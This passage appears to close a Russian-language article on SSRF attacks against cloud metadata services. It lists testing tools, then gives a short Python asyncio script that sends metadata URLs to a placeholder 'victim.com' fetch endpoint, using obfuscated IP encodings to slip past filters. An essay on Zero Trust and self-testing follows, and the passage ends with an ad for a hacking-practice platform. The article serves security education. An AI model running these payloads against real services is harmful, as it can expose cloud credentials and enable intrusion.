  3. interactsh – лучший OOB-сервер с открытым исходным кодом. Можно развернуть свой инстанс, чтобы не оставлять логи на публичных сервисах.

    Bash:
    interactsh-client -s your-server.com
  4. Свой арсенал скриптов на Python.
    Для тонкой работы нужен контроль. Пиши свои утилиты.

    Python:
    import aiohttp
    import asyncio
    from urllib.parse import quote
    
    async def test_ssrf(session, target_url, payload):
        async with session.get(target_url + quote(payload, safe='')) as resp:
            # Анализируем время ответа, статус, косвенные признаки
            return await resp.text()
    
    async def main():
        async with aiohttp.ClientSession() as session:
            tasks = []
            for ip_obfuscation in ['2852039166', '0xA9FEA9FE', '169.254.169.254.nip.io']:
                payload = f"http://{ip_obfuscation}/latest/meta-data/"
                task = test_ssrf(session, "https://victim.com/fetch?url=", payload)
                tasks.append(task)
            results = await asyncio.gather(*tasks)
            # ... обработка результатов

  5. Burp Suite Pro + Collaborator + BApp Store (SSRF Detective, etc.). Для ручного тестирования и анализа.
  6. ffuf / gobuster – для брутфорса путей метаданных и сканирования портов.

1768409188114.webp


Философия щели.

Мы не ломаем системы. Мы - диагносты, вскрывающие фундаментальные противоречия. Мы находим щели в мире, который был построен на аксиомах доверия, превратившихся в догмы. Аксиомы эти звучат благородно: «внутренняя сеть священна», «гипервизор - непреодолимый барьер», «метаданные доступны только доверенному коду». Но в реальности, где одно уязвимое приложение на инстансе становится троянским конем, эти аксиомы рассыпаются в пыль. Мы не создаем эти щели - мы лишь документируем эрозию, которая происходит под давлением самой парадигмы «быстрого развертывания» и «гибкости».

SSRF к метаданным - это не баг в коде. Это логическая ошибка на уровне архитектурной философии. Это прямое следствие решения дать виртуальной машине простой, безаутентифицированный (или слабо аутентифицированный) HTTP-API для запроса о себе же, полагаясь исключительно на сетевое расположение как на гарант безопасности. Это ошибка, которую мы, исследователи, вынуждены методично и безжалостно эксплуатировать не из желания навредить, а чтобы сделать видимой саму ее абсурдность. Чтобы показать: стена, которую считали каменной, на поверку оказалась нарисованной на холсте удобства.

Каждая такая находка - это не просто «еще один инцидент». Это системный удар по иллюзии «безопасного облака по умолчанию», которую продают вместе с подпиской. Это бетонный аргумент в споре с тем менеджером, который кричит: «Да просто запустите в AWS, там же всё безопасно!». Это напоминание - нет, крик - в уши тех, кто строит: каждая служба, каждый endpoint, каждый webhook, каждый API - это не просто функционал. Это - поверхность атаки, расширяющаяся с каждым новым микросервисом. Доверие не должно быть данностью. Оно должно быть верифицируемым, явным и минимальным на каждом шагу, в каждом запросе, между каждыми двумя компонентами системы. Zero Trust - не маркетинговый термин. Это констатация того, что доверять нельзя ничему, особенно тому, что находится «внутри».

Ты, читающий эти строки сейчас. Ты или защитник, обороняющий периметр, которого больше не существует; или исследователь, картографующий уязвимости. А возможно, ты - и то, и другое. Но в любом случае, твоя задача теперь - понять эту механику до винтика, до шестеренки, до атомарного запроса. Чтобы не просто ставить заплатки на симптомы, а перепроектировать системы, учитывая эти изъяны. Чтобы строить лучше или по крайней мере с открытыми глазами. Или просто чтобы знать, как на самом деле устроен мир за красивой, блестящей картинкой дашборда, за зелеными индикаторами здоровья и успокаивающими отчетами о комплаенс. Чтобы видеть не только то, что показывают, но и то, что тщательно скрывают в тенях от самих себя.

Работа в облаках - это не инженерный процесс. Это перманентная война на истощение между двумя богами: Удобством и Безопасностью. Удобство требует одного клика, открытых портов, наследуемых политик, широких IAM-ролей. Безопасность требует многоэтапной аутентификации, минимальных привилегий, изоляции сегментов, аудита каждой операции. SSRF - один из самых кровавых и продуктивных фронтов этой войны, потому что он сидит в самом сердце этого противоречия: в невинном, удобном механизме, который автоматически дает инстансу всё, что ему нужно, и в жестокой реальности, где этот механизм можно обратить против самого облака. И пока эта война длится, наша роль - быть беспристрастными (или не очень) наблюдателями, документирующими каждое сражение, каждую тактику, каждую рану.

Поэтому не верь облаку. Не верь провайдеру на слово. Не верь зеленой галочке «безопасно настроено». Доверяй только тому, что можешь проверить сам. Проверяй конфигурации. Проверяй политики. Проверяй сетевые потоки. Проверяй, что может увидеть твое приложение изнутри инстанса. Атакуй себя сам, пока это не сделал кто-то другой с иными намерениями.

Не верь. Проверяй. Всегда.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab